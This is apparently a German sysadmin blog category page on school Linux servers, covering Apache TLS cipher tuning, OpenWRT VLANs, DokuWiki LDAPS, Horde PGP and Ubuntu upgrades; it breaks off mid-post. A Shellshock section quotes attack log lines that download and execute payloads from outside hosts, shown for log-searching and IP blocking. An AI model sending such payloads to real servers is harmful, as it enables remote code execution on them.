Archiv der Kategorie: Linux

Alles rund um die Pinguine – auf dem Desktop und dem Server

Zu sicher

Beachte: Update des Beitrags!

Nach den Anpassungen der Apache Configuration in Folge des Poodle Bugs erhielt ich zu Beginn der Woche eine Rückmeldung einer Vista Nutzerin aus dem Kollegium, dass sie nicht mehr auf unsere Seiten zugreifen könne. Ich nahm das zuerst nicht weiter ernst, tippte auf lokale Probleme. Dann stellte ich unter Cubian X fest, dass Chromium nur noch einen 113er Fehler anzeigte, der für

ERR_SSL_VERSION_OR_CIPHER_MISMATCH

steht und Iceweasel merkte an

ssl_error_no_cypher_overlap

Diverse Browser unter Android 4.0.3 (Lightning, Tint Browser, Zirco) wollten ebenfalls nicht mehr meine eigenen HTTPS verschlüsselten Seiten aufrufen. Während unter Android der Firefox noch einsetzbar war, so ging auf meinem Spielkistchen mit Cubian X gar nichts mehr. Die Software auf diesem System lässt sich nicht einfach aktualisieren – meine Apache-Konfiguration war für das Ding schlicht „zu sicher“.

Ich kam dann irgendwann auf Idee, die unterstützten Cipher Suiten miteinander zu vergleichen. Das geht direkt bei Qualys SSL Labs – oder für den Browser auch hier: https://cc.dcsec.uni-hannover.de/check . Die Schuppen fielen dann endlich von den Augen.

Sichere Konfiguration

Eintrag:

SSLProtocol all -SSLv2 -SSLv3

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!SSLv3:!EXPORT

Ergebnis unter Debian:

kvfgnet_debianssl

Unterstützte Browsersuiten:

Handshake Simulation
Android 2.3.7   No SNI 2 Protocol or cipher suite mismatch Fail3
Android 4.0.4 Protocol or cipher suite mismatch Fail3
Android 4.1.1 Protocol or cipher suite mismatch Fail3
Android 4.2.2 Protocol or cipher suite mismatch Fail3
Android 4.3 Protocol or cipher suite mismatch Fail3
Android 4.4.2 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
BingBot Dec 2013   No SNI 2 Protocol or cipher suite mismatch Fail3
BingPreview Jun 2014 Protocol or cipher suite mismatch Fail3
Chrome 37 / OS X  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)   FS 128
Firefox 24.2.0 ESR / Win 7 Protocol or cipher suite mismatch Fail3
Firefox 32 / OS X  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)   FS 128
Googlebot Jun 2014 Protocol or cipher suite mismatch Fail3
IE 6 / XP   No FS 1   No SNI 2 Protocol or cipher suite mismatch Fail3
IE 7 / Vista Protocol or cipher suite mismatch Fail3
IE 8 / XP   No FS 1   No SNI 2 Protocol or cipher suite mismatch Fail3
IE 8-10 / Win 7  R Protocol or cipher suite mismatch Fail3
IE 11 / Win 7  R TLS 1.2 TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c)   No FS 128
IE 11 / Win 8.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
IE Mobile 10 / Win Phone 8.0 Protocol or cipher suite mismatch Fail3
IE Mobile 11 / Win Phone 8.1 TLS 1.2 TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c)   No FS 128
Java 6u45   No SNI 2 Protocol or cipher suite mismatch Fail3
Java 7u25 Protocol or cipher suite mismatch Fail3
Java 8b132 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)   FS 128
OpenSSL 0.9.8y Protocol or cipher suite mismatch Fail3
OpenSSL 1.0.1h TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
Safari 5.1.9 / OS X 10.6.8 Protocol or cipher suite mismatch Fail3
Safari 6 / iOS 6.0.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 7 / iOS 7.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 8 / iOS 8.0 Beta  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 6.0.4 / OS X 10.8.4  R Protocol or cipher suite mismatch Fail3
Safari 7 / OS X 10.9  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Yahoo Slurp Jun 2014   No SNI 2 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
YandexBot Sep 2014 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
(1) Clients that do not support Forward Secrecy (FS) are excluded when determining support for it.
(2) No support for virtual SSL hosting (SNI). Connects to the default site if the server uses SNI.
(3) Only first connection attempt simulated. Browsers tend to retry with a lower protocol version.
(R) Denotes a reference browser or client, with which we expect better effective security.
(All) We use defaults, but some platforms do not use their best protocols and features (e.g., Java 6 & 7, older IE).

Überarbeitete Konfiguration

Eintrag:

SSLProtocol all -SSLv2 -SSLv3

SSLCipherSuite HIGH:MEDIUM:!aNULL:!MD5

Ergebnis unter Debian:

debianssl

Unterstützte Browsersuiten:

Handshake Simulation
Android 2.3.7   No SNI 2 TLS 1.0 TLS_RSA_WITH_RC4_128_SHA (0x5)   No FS   RC4 128
Android 4.0.4 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Android 4.1.1 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Android 4.2.2 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Android 4.3 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Android 4.4.2 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
BingBot Dec 2013   No SNI 2 TLS 1.0 TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)   No FS 128
BingPreview Jun 2014 TLS 1.0 TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39)   FS 256
Chrome 37 / OS X  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)   FS 128
Firefox 24.2.0 ESR / Win 7 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Firefox 32 / OS X  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)   FS 128
Googlebot Jun 2014 TLS 1.0 TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)   FS   RC4 128
IE 6 / XP   No FS 1   No SNI 2 Protocol or cipher suite mismatch Fail3
IE 7 / Vista TLS 1.0 TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)   No FS 128
IE 8 / XP   No FS 1   No SNI 2 TLS 1.0 TLS_RSA_WITH_RC4_128_SHA (0x5)   No FS   RC4 128
IE 8-10 / Win 7  R TLS 1.0 TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)   No FS 128
IE 11 / Win 7  R TLS 1.2 TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c)   No FS 128
IE 11 / Win 8.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
IE Mobile 10 / Win Phone 8.0 TLS 1.0 TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)   No FS 128
IE Mobile 11 / Win Phone 8.1 TLS 1.2 TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c)   No FS 128
Java 6u45   No SNI 2 TLS 1.0 TLS_RSA_WITH_RC4_128_SHA (0x5)   No FS   RC4 128
Java 7u25 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)   FS 128
Java 8b132 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)   FS 128
OpenSSL 0.9.8y TLS 1.0 TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39)   FS 256
OpenSSL 1.0.1h TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
Safari 5.1.9 / OS X 10.6.8 TLS 1.0 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)   FS 128
Safari 6 / iOS 6.0.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 7 / iOS 7.1  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 8 / iOS 8.0 Beta  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Safari 6.0.4 / OS X 10.8.4  R TLS 1.0 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)   FS 256
Safari 7 / OS X 10.9  R TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   FS 256
Yahoo Slurp Jun 2014   No SNI 2 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
YandexBot Sep 2014 TLS 1.2 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)   FS 256
(1) Clients that do not support Forward Secrecy (FS) are excluded when determining support for it.
(2) No support for virtual SSL hosting (SNI). Connects to the default site if the server uses SNI.
(3) Only first connection attempt simulated. Browsers tend to retry with a lower protocol version.
(R) Denotes a reference browser or client, with which we expect better effective security.
(All) We use defaults, but some platforms do not use their best protocols and features (e.g., Java 6 & 7, older IE).

SSL Check

Beachte: Update des Beitrags!

Ich bin mal meine Domains durchgegangen und habe deren Vertrauenswürdigkeit getestet. Was offensichtlich überall nicht richtig funktioniert ist Perfect Forward Secrecy mit jedem beliebigen Browser. Nur wenn dieser selbst nach den entsprechenden Verschlüsselungsverfahren fragt (Firefox tut dies), dann bekommt der auch PFS geliefert.

bdjlde

Apache 2.2 auf Debian erreicht ein A-. Geholfen hat erst der folgende Eintrag in die Konfigurationsdatei des Apachen:

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!SSLv3:!EXPORT

Alles, was ich davor probierte oder gar aus der Konfiguration von Apache 2.4 Servern auf Apache 2.2 übernahm, führte zu heftigem Abzug bei der Wertung.

scolisde

Apache 2.4 erreicht ebenfalls ein A- und zeigt das gleiche PFS Problem.

OpenWRT und VLAN

Den schulischen APs der Reihe nach beizubringen, dass sie nun VLAN können und dass

  • auf Grau der AP verwaltet wird und hierbei seine IP vom grauen DHCP erhält,
  • Blau unser öffentliches Netz ist (HotSpot Authentifizierung),
  • auf Pink irgendwann in ferner Zukunft das Lehrernetz gefunden werden soll (mit Radius-Auth – man darf ja noch träumen)
  • und in Grün das interne Netz für die Laptops läuft, die ihre IP vom Schulserver erhalten,

war die Aufgabe. Dies auf der Oberfläche eines jeden APs einzeln zusammen zu klicken dauert viel zu lange. Also kopiert man sich die Konfiguration von einem funktionierenden AP auf alle anderen, bootet diese insgesamt zwei mal neu und voila – es tut.

Erst einmal VLAN ermöglichen:

opkg install kmod-macvlan

Dann neu booten. Mit ifconfig angesehen soll es am Ende so aussehen:

    br-blue Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fd34:cf26:d77b::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:100 errors:0 dropped:0 overruns:0 frame:0
    TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:9114 (8.9 KiB) TX bytes:14396 (14.0 KiB)

    br-green Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fd34:cf26:d77b:10::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2354 errors:0 dropped:0 overruns:0 frame:0
    TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:749902 (732.3 KiB) TX bytes:14396 (14.0 KiB)

    br-grey Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet addr:192.168.0.139 Bcast:192.168.0.255 Mask:255.255.255.0
    inet6 addr: fd34:cf26:d77b:20::1/60 Scope:Global
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:1847 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1689 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:175780 (171.6 KiB) TX bytes:431449 (421.3 KiB)

    br-pink Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1773 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0.0 B) TX bytes:574414 (560.9 KiB)

    eth0 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:9283 errors:0 dropped:167 overruns:0 frame:0
    TX packets:7976 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:1947524 (1.8 MiB) TX bytes:5061428 (4.8 MiB)
    Interrupt:4

    eth0.1 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2335 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1729 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:211878 (206.9 KiB) TX bytes:434729 (424.5 KiB)

    eth0.2 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:4566 errors:0 dropped:0 overruns:0 frame:0
    TX packets:801 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:1141302 (1.0 MiB) TX bytes:80814 (78.9 KiB)

    eth0.3 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:2208 errors:0 dropped:0 overruns:0 frame:0
    TX packets:3708 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:410171 (400.5 KiB) TX bytes:3944129 (3.7 MiB)

    eth0.4 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1734 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0.0 B) TX bytes:569420 (556.0 KiB)

    lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:6 errors:0 dropped:0 overruns:0 frame:0
    TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:288 (288.0 B) TX bytes:288 (288.0 B)

    wlan0 Link encap:Ethernet HWaddr 64:70:02:78:1D:5F
    inet6 addr: fe80::6670:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:595 errors:0 dropped:0 overruns:0 frame:0
    TX packets:2903 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:63160 (61.6 KiB) TX bytes:940426 (918.3 KiB)

    wlan0-1 Link encap:Ethernet HWaddr 66:70:02:78:1D:5F
    inet6 addr: fe80::6470:2ff:fe78:1d5f/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:3617 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1995 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:3938021 (3.7 MiB) TX bytes:460510 (449.7 KiB)

Einmal /etc/config/network anpassen:

    config interface 'loopback'
    option ifname 'lo'
    option proto 'static'
    option ipaddr '127.0.0.1'
    option netmask '255.0.0.0'

    config globals 'globals'
    option ula_prefix 'fd34:cf26:d77b::/48'

    config interface 'grey'
    option ifname 'eth0.1'
    option type 'bridge'
    option proto 'dhcp'
    option ip6assign '60'

    config interface 'green'
    option ifname 'eth0.2'
    option type 'bridge'
    option ip6assign '60'

    config interface 'blue'
    option ifname 'eth0.3'
    option type 'bridge'
    option ip6assign '60'

    config interface 'pink'
    option ifname 'eth0.4'
    option type 'bridge'
    option proto 'dhcp'
    option ip6assign '60'

    config switch
    option name 'switch0'
    option reset '1'
    option enable_vlan '1'

    config switch_vlan
    option device 'switch0'
    option vlan '1'
    option vid '1
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '2'
    option vid '2'
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '3'
    option vid '3'
    option ports '0t 1t 2t 3t 4t 5t'

    config switch_vlan
    option device 'switch0'
    option vlan '4'
    option vid '4'
    option ports '0t 1t 2t 3t 4t 5t'

Und /etc/config/wireless anpassen:

    config wifi-device 'radio0'
    option type 'mac80211'
    option hwmode '11ng'
    option path 'platform/ath9k'
    list ht_capab 'SHORT-GI-40'
    list ht_capab 'DSSS_CCK-40'
    option country 'US'
    option txpower '27'
    option channel '4'

    config wifi-iface
    option device 'radio0'
    option network 'green'
    option mode 'ap'
    option ssid 'intern'
    option encryption 'psk2'
    option key 'geheim'

    config wifi-iface
    option device 'radio0'
    option mode 'ap'
    option encryption 'none'
    option ssid 'public'
    option network 'blue'

Die DNS Dienste auf dem AP wegwerfen, weil der DNS zentral läuft (auf Schulserver oder auf dem grauen Server für die Infrastruktur):

/etc/init.d/dnsmasq stop
killall dnsmasq # nur zur Sicherheit
/etc/init.d/dnsmasq disable

Dann noch einmal neu booten und vor Ort testen, nachdem man die VLAN Einstellungen auch auf den Switches so angepasst hat, dass man seinen AP wieder findet.

Shellshock exploits

Kaum ist der Bug bekannt, listet Exploit-DB einen exploit dazu und ein Metasploit Modul gibt es auch. Das macht es leichter, in den eigenen Logs nach Angriffen zu suchen:

grep „{ :;};“ /var/log/apache2/access.log

bzw. auch mit zgrep, sollen die komprimierten Logs ebenfalls einen Blick wert sein. Wer noch geiler grep-en will: http://rubular.com/r/FRoObXn9Kx

Und da sind sie dann auch schon: Einmal als ein Test auf CGI

89.207.135.125 – – [25/Sep/2014:10:34:22 +0200] „GET /cgi-sys/defaultwebpage.cgi HTTP/1.0“ 404 506 „-“ „() { :;}; /bin/ping -c 1 198.101.206.138“

aber auch als Versuch, von anderen Seiten Executables oder Skripte nachzuladen:

66.150.114.30 – – [27/Sep/2014:04:56:38 +0200] „GET /test HTTP/1.0“ 404 484 „-“ „() { :;}; /bin/bash -c \“wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\““

192.227.213.66 – – [26/Sep/2014:16:09:16 +0200] „GET /cgi-bin/helpme HTTP/1.0“ 404 376 „-“ „() { :;}; /bin/bash -c \“cd /dev/shm;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\““

Man kann dann mal nach in den letzten 3 Tagen geänderten Dateien in verdächtigen oder besonders relevanten Verzeichnissen suchen

find /etc -type f -mtime -3 -printf ‚%TY-%Tm-%Td %TT %p\n‘ | sort

oder mit

nmap localhost

nachsehen, welche Ports auf der eigenen Maschine inzwischen offen sind oder mit

netstat -tulpen

nach aktiven Verbindungen fanden. Aber so richtig was bringen dürfte das auch nur, wenn man die Verzeichnisse gut eingrenzen kann und der erfolgreiche Angreifer nicht aufräumte.

Steht man auf Schlangenöl (wer würde dies nicht) blockiert man die IPs, von denen schon Angriffe kamen mit iptables. Am besten gleich, indem man sich eine function für die .bashrc schreibt:

function blockip () { /sbin/iptables -A INPUT -s $1 -j DROP ; }

Dann reicht ein

blockip 89.207.135.125,66.150.114.30

um zwei IPs zu blockieren – weitere kann man ja mit , getrennt noch hinten anfügen.

Lektüre gefällig? Z.B. hier und da und die jeweils verlinkten Seiten. Das bringt einem aber schlaflose Nächte – wohingegen: Schlangenöl beruhigt die Nerven.

LDAPs von DokuWiki auf LD-Server

In unser Portfolio sollen nur die Kolleg/innen reinkommen und nicht die Schüler/innen. Also authentifizierte dieses zunächst nur gegenüber dem Lehrermoodle – seit ein paar Tagen jedoch auch gegenüber dem hausinternen LDAP-Server über eine verschlüsselte Verbindung.

DokuWiki, die Basis für das Portfoliosystem, erlaubt hierbei jegliche Mischung aus Authentifizierungsverfahren, sofern man das Plugin AuthChained installiert hat. In unserem Fall lege ich die Administratoren und Redakteure händisch in der DokuWiki eigenen Datenbank an – die nur lesenden Benutzer/innen dürfen über LDAPs kommen. Sie sollen in der Default-Gruppe visitor landen, die im Backend von Dokuwiki so eingerichtet wurde, dass sie nur lesenden Zugriff auf die Portfolio-Seiten erhalten.

Dann wurde die dokuwiki/config/local.php umgestaltet. Hier die Variablen, die am Ende des Config-Marathons endlich die intendierte Wirkung hatten:

$conf['authtype'] = ‘authchained';
$conf['defaultgroup'] = ‘visitor';
$conf['disableactions'] = ‘register';
$conf['plugin']['authldap']['server'] = ‘ldaps://ip.des.servers.tld:636?;
$conf['plugin']['authldap']['port'] = 636;
$conf['plugin']['authldap']['usertree'] = ‘dc=schule,dc=ort,dc=schule-bw,dc=de';
$conf['plugin']['authldap']['userfilter'] = ‘(&(uid=%{user})(objectClass=ldUserAccount)(ldRole=teacher))';
$conf['plugin']['authldap']['version'] = 3;
$conf['plugin']['authchained']['authtypes'] = ‘authldap:authplain';
$conf['plugin']['authchained']['usermanager_authtype'] = ‘authplain';
$conf['auth']['chained']['authtypes'] = ‘ldap,plain';
$conf['auth']['chained']['usermanager_authtype'] = ‘plain';
$conf['auth']['chained']['find_auth_by_password'] = ‘false';
$conf['auth']['ldap']['version'] = ‘3’;

ldUserAccount und ldRole sind spezifisch für MySHN bzw. LogoDidact Systeme. Andere Schulserver-Lösungen haben sicherlich andere Bezeichnungen. Die Einträge in den LDAP von LMN sind in deren Wiki hervorragend dokumentiert und lieferten auch für obige LD-Lösung viele Ideen:

http://www.linuxmuster.net/wiki/anwenderwiki:webapps:portfolio#anpassen_der_grundkonfiguration_des_osp

Anmeldeversuche von SuS werden nun mit der Fehlermeldung “Benutzername und / oder Passwort unbekannt” abgewiesen. Dokuwiki sucht schließlich nicht im LDAP-Baum nach allen Menschen auf ServerG, sondern nur noch nach LuL. Vermutlich ist das overkill, denn im Userfilter steht ja ebenfalls drin, dass nur LuL reindürfen. Aber es funktioniert und scheint mir sicherer zu sein.

Da der schulische LD-Server für LDAPs nur ein self-signed Zertifikat ausliefert kommt noch ein Eintrag in die /etc/ldap/ldap.conf auf dem Dokuwiki-Server

TLS_REQCERT allow

Horde PGP und Thunderbird

Der PGP-verschlüsselnde Mailserver für die Schule läuft, die ersten Nutzer/innen haben ihre Einführungen erhalten und es sieht so aus, als würden sie den Verschlüsselungsdienst sogar nutzen. Es scheint ihnen Spaß zu machen. Gut.

Was mir dabei aufgefallen ist: Horde verschickt verschlüsselte Nachrichten mit einem multipart/encrypted Eintrag für den Content-Type im Mailheader. Thunderbird mit Enigmail tun dies aber nicht. Thunderbird schickt verschlüsselte Mails als multipart/mixed raus … und das kann Horde dann nicht als verschlüsselte E-Mail erkennen. Horde bietet dann im Webfrontend auch keine Funktionen zum Entschlüsseln an, sondern zeigt den Plaintext an.

Was im Ergebnis gut funktioniert ist damit Horde2Horde und Thunderbird2Thunderbird und Horde2Thunderbird. Was überhaupt nicht funktioniert ist Thunderbird2Horde.

Zwei Stellschrauben scheint es zu geben:

tb_enm_pgpmime

Die erste ist in Thunderbird / Enigmail zu finden. Stellt man dort PGP/MIME als Standardverfahren ein, dann schreibt Thunderbird brav Content-Type: multipart/encrypted in den Mailheader und Horde kann die Mail als verschlüsselt erkennen und somit auch die Entschlüsselungs-Funktionen im Webmailer anbieten. Thunderbird selbst kommt auf Empfängerseite damit auch zurecht.

Die zweite Stellschraube ist theoretisch in Hordes IMP zu finden. In /var/www/horde/imp/config/mime_drivers.local.php muss man hierzu PGP Inline aktivieren bzw. die Datei erst erstellen und sich den Inhalt aus der vorhandenen mime_drivers hineinkopieren. Eine Garantie, dass das dann reibungslos und immer funktioniert, scheint es aber nicht geben, haben meine Tests gezeigt. Außerdem frisst es Ressourcen, weil Horde/IMP dann die gesamte E-Mail auf PGP Blöcke durchsehen müssen.

Mailserver von 12.04 auf 14.04

Auf einem Ubuntu 12.04 lauscht Postgrey nur auf IPv6

tcp6 0 0 ::1:10023 :::* LISTEN 0 10265 1191/postgrey.pid –

Auf einem Ubuntu 14.04 lauscht er dann nach dem Upgrade auf IPv4

tcp 0 0 127.0.0.1:10023 0.0.0.0:* LISTEN 0 13562 1331/postgrey.pid –

Dass er sich wie das Fähnchen im Wind gedreht hat, wird nicht mitgeteilt. Eine Anpassung von Postfix mit Neustart von Postfix und Postgrey hilft weiter:

check_policy_service inet:127.0.0.1:10023,
# check_policy_service inet:::1:10023,

Überhaupt: Dovecot und Postfix haben bei mir das Upgrade denkbar schlecht verdaut. Im Grunde musste ich die gesamte Konfiguration der beiden händisch neu vornehmen, weil so ziemlich alles broken war: Einstellungen, Pfade, Zertifikate … you name it.

Zurück: Webserver von 12.04 auf 14.04

Webserver von 12.04 auf 14.04

Nach dem Upgrade von Ubuntu 12.04 auf 14.04 warf Apache 2.4 mit einer ganzen Reihe von Fehlermeldungen nach mir, weil sich die Syntax einiger Konfigurationsdateien geändert hatte. Einen Überblick über die Änderungen liefert diese Seite:

http://httpd.apache.org/docs/2.4/upgrading.html

Lokal kommt man fast allen Problemen auf die Schliche, wenn man nach dem erfolgreichen Upgrade das Apache-eigene Tool apache2ctl einsetzt und dann die ausgeworfenen Fehlermeldungen Stück für Stück abarbeitet. In fast allen Fällen dürfte das Auskommentieren der beanstandeten Zeilen in den Konfigurationsdateien erst einmal ausreichen, um zu einem wieder funktionierenden Webserver zu gelangen:

sudo apache2ctl configtest

Was dann bei mir noch blieb war eine leere Seite, statt eines Logins für phpMyAdmin. In /var/log/syslog steht der Grund:

PHP Fatal error:  require_once(): Failed opening required ‚./libraries/php-gettext/gettext.inc‘ (include_path=‘.‘) in /usr/share/phpmyadmin/libraries/select_lang.lib.php on line 395

In der phpmyadmin.conf Datei fehlt hier der entsprechende Eintrag im Abschnitt <IfModule mod_php5.c> und dort in der open_basedir Anweisung

php_admin_value open_basedir /usr/share/phpmyadmin/:/etc/phpmyadmin/:/var/lib/phpmyadmin/

muss ergänzt werden:

php_admin_value open_basedir /usr/share/phpmyadmin/:/etc/phpmyadmin/:/var/lib/phpmyadmin/:/usr/share/php/php-gettext/

Dann den Apachen neu starten und es sollte wieder tun.

phpMyAdmin schimpfte dann, dass ihm die Bibliothek mcrypt fehle, die jedoch installiert war. Ein

php5enmod mcrypt

löste auch dieses Problem.

Apache 2.4 warnt beim Start vor SNI mit der Meldung

Init: Name-based SSL virtual hosts only work for clients with TLS server name indication support (RFC 4366)

das sollte heute aber nur noch für Windows XP und den dortigen IE gelten. Chromium, Rekonq, Konqueror und Firefox funktionieren ohne Zicken.

Weiter: Mailserver 12.04 auf 14.04

Mate Fensterknöpfe

Ich hab schon ewig nicht mehr mit einer an Gnome2 angelehnten Bedienoberfläche gearbeitet, musste / durfte mich aber heute damit rumschlagen. Was mich irritierte war nur das Layout der Fensterknöpfe. Ich will diese nicht (mehr) rechts, sondern links haben. Also:

sudo apt-get install dconf-editor

und dann grafisch weiter. Die Ausgangslage für die buttons im Fensterrahmen / im Fenstertitel:

dconf1

und dann der gewünschte Endzustand, der sofort wirksam wird:

dconf2

Im Arch Wiki sind noch Wege beschrieben, wie die window / title / titlebar buttons ohne Umweg über eine GUI verschoben werden können.

Linuxmint Qiana XFCE

lmint17

Ich hab’s gestern erst gesehen, dass die XFCE Version von Linuxmint 17 inzwischen erschienen ist, die ich auf einem älteren FSC Scenic W mit Hyperthreading fähiger Single Core Intel CPU und 2GB RAM einsetze. Als LTS Version bringt Qiana Updates bis 2019 mit sich.

Ein Upgrade eines bestehenden Systems „Petra“ auf „Qiana“ sollte mit den folgenden Befehlen funktionieren:

sudo apt-get update ; sudo apt-get dist-upgrade

sudo apt-get clean ; sudo apt-get autoremove

Nachdem das System nun auf einem aktuellen Stand ist, tauscht man die Versionen in den Repolisten aus:

sudo sed -i ’s/saucy/trusty/‘ /etc/apt/sources.list

sudo sed -i ’s/petra/qiana/‘ /etc/apt/sources.list

sudo sed -i ’s/saucy/trusty/‘ /etc/apt/sources.list.d/official-package-repositories.list

sudo sed -i ’s/petra/qiana/‘ /etc/apt/sources.list.d/official-package-repositories.list

Man sollte noch nachsehen, ob man sich nicht in der Vergangenheit noch weitere Pakete aus PPAs installiert hat. Ich hatte z.B. noch ownCloud aus dem openSuSE Repo an Bord, das ebenfalls umgestellt werden muss. In diesem Fall muss in der Datei

